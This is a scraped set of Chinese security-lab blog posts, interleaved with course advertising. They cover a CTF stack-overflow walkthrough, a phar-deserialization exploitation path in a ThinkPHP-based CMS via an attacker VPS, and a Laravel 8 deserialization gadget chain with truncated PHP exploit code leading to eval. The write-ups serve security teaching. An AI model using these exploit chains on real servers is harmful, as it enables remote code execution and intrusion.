python -c "print 'A'*64+'\x64\x63\x62\x61'" | xargs ./pwn2
看到已经成功发起了溢出攻击,程序被PWN掉啦!
其实0x61为字符a的ASCII值,因此输入如下的命令同样能达到攻击效果:
python -c "print 'A'*64+'dcba'" | xargs ./pwn2
这次的实验真的很费脑筋,分析处理了好多数据,才得到结果。
更多精彩实验,蚁景网安实验室专业为您提供,注册实战起来!
对某cms的一次审计思路
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
漏洞的审计
源头是在/src/extend/extcore/ImageCrop.php/crop这个方法里面发现有个getimagesize函数,这个函数是能够触发phar反序列化漏洞的,而这个 cms 是基于 thinkphp5.1 框架二次开发的,这个框架有个反序列化漏洞相信大家都很熟悉了,所以我们的目的就是能控制$imgData这个变量就行了
可以看到$imgData是由$this->getImgData($img);控制的,我们跟踪进去
private function getImgData($img){ if(strripos($img, 'http://')!==FALSE OR strripos($img,'https://') !==FALSE) { //站外图片 $data=file_get_contents($img); }else{ //站内图片 $file=DOC_ROOT.'/'.$img; if(is_file($file)) { $data = file_get_contents($file); }else{ return false; } } return $data; }
可以看到这里会限制只能由http://或者https://开头的参数才能获取站外的图片信息
再看看全局搜索crop这个方法看看哪里会调用他
我们在src/application/task/controller/UtilController.php/cropimage发现有个crop_image函数,我们跟踪进去
function crop_image($file, $options){ // echo $file; $imageCrop=new \extcore\ImageCrop($file, $options); return $imageCrop->crop(); }
发现这里会调用到我们上面的crop函数
这里的$file参数也就是我们传给getImgData函数的$img变量,所以这里我们看看如何去控制他,可以看到crop_image方法里面有一个$paths=explode('.',$img);,就是会根据点去分隔我们的$img参数,然后又要count($paths)==3,我们可以回想到getImgData限制了http的开头,我们想要phar反序列化的话,必须是phar://的开头,那么我们直接在vps上放置我们的phar文件的路径不就可以了
但是这里有一个问题,我们正常输入一个IP地址的话肯定是不行的,因为他的count($paths)==3,所以我们可以使用十六进制绕过的方法,所以也就限制了这种方法只能在linux下面使用,这里顺便贴一下之前写的一个转进制的脚本
<?php $ip = '127.0.0.1'; $ip = explode('.',$ip); $r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ; if($r < 0) { $r += 4294967296; } echo "十进制:"; echo $r; echo "八进制:"; echo decoct($r); echo "十六进制:"; echo dechex($r); ?>
我们在$ip处贴上自己的vps的地址,这里要注意生成的十六进制前面要加上0x
然后cacheimage函数的
$response = crop_image($paths[0].'.'.$paths[2], $args);
$paths[0].'.'.$paths[2]就是我们想要控制的参数,因为前面explode把我们的url地址分成了3份,这里把第一份和第三份拼接了起来,于是我们可以构造类似于http://vps-ip/1.1.txt的形式,这里样我们的$paths[0].'.'.$paths[2]也就成为了1.txt也就是我们可控的东西了,同时这里也明白了为什么要将vps-ip转成16进制的原因了
我们同时在vps上放置test.phar的路径,这个cms后台是可以上传jpg文件的,当然phar反序列化的话即使是jpg后缀的文件也是能够成功反序列的,这里我为了方便直接放在根目录下
到了这一步我们的思路基本就清晰了,我们测试一下$img是否能够正确的打印出来,可以手动添加一个echo $img;
我们访问一下cacheimage的路由
可以看到我们的$img变成了1.txt,getimagesize函数里面也成功接收到我们放在1.txt里面的内容
我们再cmd传参我们的命令即可看到漏洞已经成功利用
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID5504-22b1-44f6-984f-1339663ac214 (通过本节的学习,了解文件上传漏洞的原理,通过代码审计掌握文件上传漏洞产生的原因、上传绕过的方法以及修复方法。)
总结
漏洞已经上交于cnvd平台,然后这个漏洞由于十六进制绕过的问题,只能在linux下才可以成功实现,所以可以把cms放在docker里面进行测试,然后在一些小的cms里面关于phar反序列化漏洞还是比较好找的,因为一般来说后台都是能够上传jpg格式的文件,能够触发phar的函数也蛮多的
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
看了N多干货?为什么你的渗透技能还是没有提升
在调查数百位渗透测试学习人员过程中,我们发现,部分人员仍然存在以下问题,一方面渴望提高,另一方面没找到真正的目标着力点。久而久之,陷入错误的习惯中。
如果你的浏览器收藏夹里保存着各大网安学习网站,每天都登陆这些网站,基本上关于网安学习的文章“照单全收”,看完以后还觉得收获颇丰,有种如沐春风的感觉。
那么恭喜你,你可能要“废”了。
很多时候看这些文章并没有什么用,甚至可能把你变成一个只会夸夸其谈的理论家。
并不是说这些文章写的不好,而是对于一些非常有价值的文章,你需要有一个正确的“打开方式”,才能从这些文章之中汲取到“营养”。
不管是在哪个行业,新人刚入行,唯一的进阶方式就是脚踏实地地多实践,多练习、多思考,多总结。也就是所谓的正确的“打开方式”,你需要把输入的方法论与实践操作相结合,从而输出适合你自己的学习经验。
为了帮助你更好地掌握基本的渗透测试实践能力,我推荐《渗透测试实战训练营》,课程除了理论教学外,配套了对应的课后实战作业,方法论与实践操作充分结合,从而输出适合你自己的学习经验。
课程包含7 节课 + 3 个实战练习 + 7天社群服务 + 实战作业反馈 ,原价198元,限时只需要2分钱 !课程第一节课将于 3月10日(15:00)开课,最后三天,赶紧抢购吧!
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
2分钱,你不仅能了解渗透测试岗位的知识体系,掌握渗透测试的2-3个核心技能:快速入门渗透框架,深入利用目标靶机,钓鱼攻击&拓展框架。并能在最短时间内学完就实战。
除此之外,课程还包含一份100%有用的渗透测试学习常见的工具及学习资料包(足足4个G哟),涉及虚拟机安装包、漏洞扫描工具及信息收集、权限提升、密码字典学习资料等等,我们都为你整理总结好了。
01.这门课,你将学会什么?
一、正确看待渗透测试的职业成长和发展
当你想快速进入一个行业的时候,第一步不是直接开始学习,而是梳理这个行业的知识体系,或者你这个行业所需要的掌握的必备能力,然后一步一步进行拆解。
当你拆解成各个能力模块的时候,你的执行力会提高,因为你知道你需要每天做什么。
大多数事情,包括吸纳新知识:做的时候会面临压力、困难,但当你到达一定阶段,并获得一定成果,从中收获到的正反馈、胜任感。这就是无价的。
二、针对性实战训练
了解整体的学习路径后,我们有针对性的选择了3个核心技能带大家“实战训练”。
我们知道,任何职场上的能力,都需要通过实操才能确认是否真正掌握,而渗透测试,实操技能要求比其他岗位更强。
为了让你更好的掌握课程中的知识,我们特别在蚁景网安实验室设计了3个靶场实战作业,让你学完就练,练完就能上手,及时检验所学知识,查缺补漏,详细安排如下:
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
02.课程配套哪些服务?
除了优质的课程内容和实操作业
我们还提供7天高质量班级服务,专业的班主任会在班级群里提供干货分享 + 答疑服务+作业催收,学员完成实战作业后,老师定时讲解作业重点、难点,确保学员真正掌握所学知识!(全勤到课且按时完成靶场作业的有优秀学员奖励哟!)
另外,班主任还会提供全程督学服务,在督促你按时到课的同时,帮你做业务诊断+就业推荐绿色通道(1v1免费推荐面试)。
03.这门课适合谁?
首先,如果你是信息安全专业在校学生,想通过学习从事安全相关工作,那么不要犹豫,这门课程是为你量身定制的,它非常适合你,因为课程配套了高强度的靶场实操训练,补足你在日常学习过程中实操经验不足等问题!
其次,这门课程也适合对黑客渗透技术感兴趣,却不知道怎么入门的同学——可能你对黑客这个群体的印象,只是局限于:是一群玩计算机很厉害的人,能通过电脑一顿操作就拿下一个网站,拿下一个服务器的权限。但是可能并不知道黑客是通过什么方法技巧来达到这个效果的,那么学完这门课,你将正式进入黑客的世界。
最后,未来的互联网行业中一定需要更多的复合型人才,所以,如果你是做功能测试的,做运维的、做开发的更应该好好学习这个课程,在你们的日常工作中,可能会经常会碰到服务器被攻击,收到各种异常攻击告警,但是却因为不了解黑客攻击技术,而无法定位黑客攻击路径并阻止攻击行为。所以如果你想你的职业再上一个台阶,安全是你必不可少的一个技能!
以上,就是这样一门包含诸多干货内容++资料包+实操作业+ 1 V 1 服务的课程。
不要 999 ,也不要 99 ,只要 2 分钱(收取2分钱是为了方便提供录播,相当于免费)!
本课程第一节课即将于3月10日(星期三) 15:00开课,赶快长按识别下方图片中的二维码报名吧!
报名链接:https://ke.qq.com/course/3292015?flowToken=1032537
CTF-记一次PWN练习
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
PWN是一个黑客语法的俚语词,自"own"这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经完全被击败(例如:"You just got pwned!")。有一个非常著名的国际赛事叫做Pwn2Own,即通过打败对手来达到拥有的目的。
在CTF中PWN题型通常会直接给定一个已经编译好的二进制程序(Windows下的EXE或者Linux下的ELF文件等),然后参赛选手通过对二进制程序进行逆向分析和调试来找到利用漏洞,并编写利用代码,通过远程代码执行来达到溢出攻击的效果,最终拿到目标机器的shell夺取flag。
又到了介绍工具的时候了!首先了解一下gdb。
gdb是Linux下常用的一款命令行调试器,拥有十分强大的调试功能。本实验中需要用到的gdb命令如下:
这个工具类似逆向里面的IDA这类的神器。
除了工具还需要知道一些简单的汇编基础,读懂常见的汇编指令是CTF竞赛中PWN解题的基本要求,本实验中需要理解的汇编指令如下:
汇编语言中,esp寄存器用于指示当前函数栈帧的栈顶的位置,函数中局部变量都存储在栈空间中,栈的生长方向是向下的(即从高地址往低地址方向生长)。
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。
本文涉及知识点实操练习: https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014103116591300001(PWN是CTF竞赛中的主要题型之一,主要考查参赛选手的逆向分析、漏洞挖掘以及Exploit编写能力。CTF-PWN系列实验以最常见的栈溢出为主线,通过由浅入深的方式,一步一步讲解栈溢出攻击原理与实践,同时详细介绍了Linux下GDB调试器的基本使用方法。)。
先看题目描述,跟看web源码一样重要,主机/home/test/1目录下有一个pwn1程序,执行这个程序的时候可以输入数据进行测试,pwn1程序会输出Please try again.的提示信息,请对pwn1程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出Congratulations, you pwned it.信息。
首先第一步源码审计在实际的CTF竞赛的PWN题目中,一般是不会提供二进制程序的源代码的。这里为了方便大家学习,给出二进制程序的C语言源代码供大家分析,以源码审计的方式确定漏洞所在位置,方便后续进行汇编级别的分析。
(在没有源代码的情况下,我们通常使用IDA Pro对二进制程序进行逆向分析,使用IDA的Hex-Rays插件可以将反汇编代码还原为C语言伪代码,可以达到类似源代码的可读效果,在后期的实验中会专门对IDA的使用进行讲解)
使用cd /home/test/1切换到程序所在目录,执行cat pwn1.c即可看到源代码:
#include <stdio.h>
int main(int argc, char** argv)
{
int modified;
char buffer[64];
modified = 0;
gets(buffer); // 引发缓冲区溢出
if (modified != 0)
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again.\n");
}
return 0;
}
我们看这里使用gets函数读取输入数据时,并不会对buffer缓冲区的长度进行检查,输入超长的输入数据时会引发缓冲区溢出。
漏洞找到了,我们来看利用过程执行gdb pwn1即可开始通过gdb对pwn1进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
下面是对main函数中的汇编代码的解释:
0x080482a0 <+0>: push %ebp
0x080482a1 <+1>: mov %esp,%**ebp**
0x080482a3 <+3>: and $0xfffffff0,%**esp**
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 <+6>: sub $0x60,%**esp**
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482a9 <+9>: movl $0x0,0x5c(%**esp)**
; buffer位于esp + 0x1C处
0x080482b1 <+17>: lea 0x1c(%**esp),%eax**
0x080482b5 <+21>: mov %eax,(%**esp)**
; 调用gets(buffer)读取输入数据
0x080482b8 <+24>: call 0x8049360 <gets>
; 判断modified变量的值是否是0
0x080482bd <+29>: cmpl $0x0,0x5c(%**esp)**
; 如果modified的值等于0,就跳转到 0x080482d2
0x080482c2 <+34>: je 0x80482d2 <main+50>
; modified不为0,打印成功提示
0x080482c4 <+36>: movl $0x80b3eec,(%**esp)**
0x080482cb <+43>: call 0x8049500 <puts>
0x080482d0 <+48>: jmp 0x80482de <main+62>
; modified为0,打印失败提示
0x080482d2 <+50>: movl $0x80b3f0b,(%**esp)**
0x080482d9 <+57>: call 0x8049500 <puts>
0x080482de <+62>: mov $0x0,%**eax**
0x080482e3 <+67>: leave
0x080482e4 <+68>: ret
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖。
下面在gdb中进行验证,在gdb中执行b *0x080482bd命令对gets的下一条指令下一个断点:
在gdb中执行r命令,让被调试的pwn1程序跑起来,就可以输入数据进行测试了,这里我们输入64个A以及1个B(即AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB),按下Enter键程序就在断点处断下了:
在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x00000042,而0x42就是字符’B’的ASCII值,表明我们成功用输入数据的第65个字节覆盖了modified变量:
在gdb中连续两次执行ni命令,可以看到je指令没有跳转,说明modified的值不为0,程序进入输出通过信息的if语句分支:
在gdb中输入c命令就可以让程序继续执行,看到输出了通过提示信息:
通过上面的步骤我们已经知道了如果控制输入数据来进行攻击,以达到进入if语句分支的目的。下面我们就可以通过构造输入数据进行攻击了。
如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过管道传给pwn1程序,执行命令python -c "print 'A'*64+'B'" | ./pwn1
看到已经成功发起了溢出攻击,程序被你PWN掉啦!
想学习更多CTF技术?加入网安实验室,1300+网安技能任你学!
Laravel 8 反序列化分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
forward
laravel的版本已经到了8;这里分析一个laravel8的反序列化漏洞,但是让我感到意外的是,这个漏洞竟然在低版本的laravel上依然可以存在,从根本来说这个漏洞是laravel的mockery组件漏洞,没想到一直没修;
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f (Fastjson是阿里巴巴公司开源的一款json解析器,在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。)
text
首先还是老样子,熟悉laravel的pop链的师傅肯定比较熟悉,入口点还是PendingBroadcast.php中的析构函数;
public function __destruct() { $this->events->dispatch($this->event); }
这里很明显可以控制任意类下的dispatch函数;这里还是选择Dispatcher.php进行续链;
public function dispatch($command) { return $this->queueResolver && $this->commandShouldBeQueued($command) ? $this->dispatchToQueue($command) : $this->dispatchNow($command); }
这里简单的看下源码,感兴趣的师傅可以拿着laravel5的源码来进行对比,这里只不过是写成了三元运算的形式,本质上还是一样的,我们控制queueResolver变量和commandShouldBeQueued函数,使其返回为真,这样就可进入dispatchToQueue函数;这里审计下类不难发现queueResolver是我们可控的变量,然而commandShouldBeQueued函数我们可以追溯一下;
protected function commandShouldBeQueued($command) { return $command instanceof ShouldQueue; }
这里不难发现,是需要我们的command是继承ShouldQueue接口的类就可;所以全局搜索;选择BroadcastEvent.php的类;然后便可返回true,然后进入dispatchToQueue函数;回溯一下dispatchToQueue函数;
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection);
可以发现这里有个危险函数call_user_func;可以直接实现任意类下的任意方法;这里就可直接跳转到我们想要执行的方法下;全局搜索一下eval方法;发现存在;
class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;这里发现存在参数,而且参数必须是MockDefinition类的实例;也即是意味着我们connection需要为MockDefinition类的实例;
继续审计发现,必须if为false才会触发eval方法;所以这里我们需要直接追溯到MockDefinition类中;
class MockDefinition { protected $config; protected $code; public function __construct(MockConfiguration $config, $code) { if (!$config->getName()) { throw new \InvalidArgumentException("MockConfiguration must contain a name"); } $this->config = $config; $this->code = $code; } public function getCon
看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php可以实现;
protected $name; public function getName() { return $this->name; }
因为最后是要经过class_exit函数的判断的,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;继续回到eval方法;
class EvalLoader implements Loader { public function load(MockDefinition $definition) { if (class_exists($definition->getClassName(), false)) { return; } eval("?>" . $definition->getCode()); } }
这里还有个getCode方法,我们通过上面的类也可审计getCode方法;code在MockDefinition类中也是可控的,所以我们可以随意的控制其内容,那么我们就可命令执行;放出我exp:
<?php namespace Illuminate\Broadcasting{ use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $event; protected $events; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Illuminate\Bus{ class Dispatcher { protect
这里为了节省时间,我最后用abcdef直接代替了,造成rce;
细心的师傅想必也发现了;在最开始的call_user_func处,也是可以进行命令执行的;
public function dispatchToQueue($command) { $connection = $command->connection ?? null; $queue = call_user_func($this->queueResolver, $connection);
这里可以直接控制进行命令执行;这个很简单,就直接放出我exp吧;
<?php namespace Illuminate\Broadcasting{ use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $event; protected $events; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Illuminate\Bus{ class Dispatcher { protect
想了解更多关于CTF的技能?加入网安实验室,1300+网安技能任你学!
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

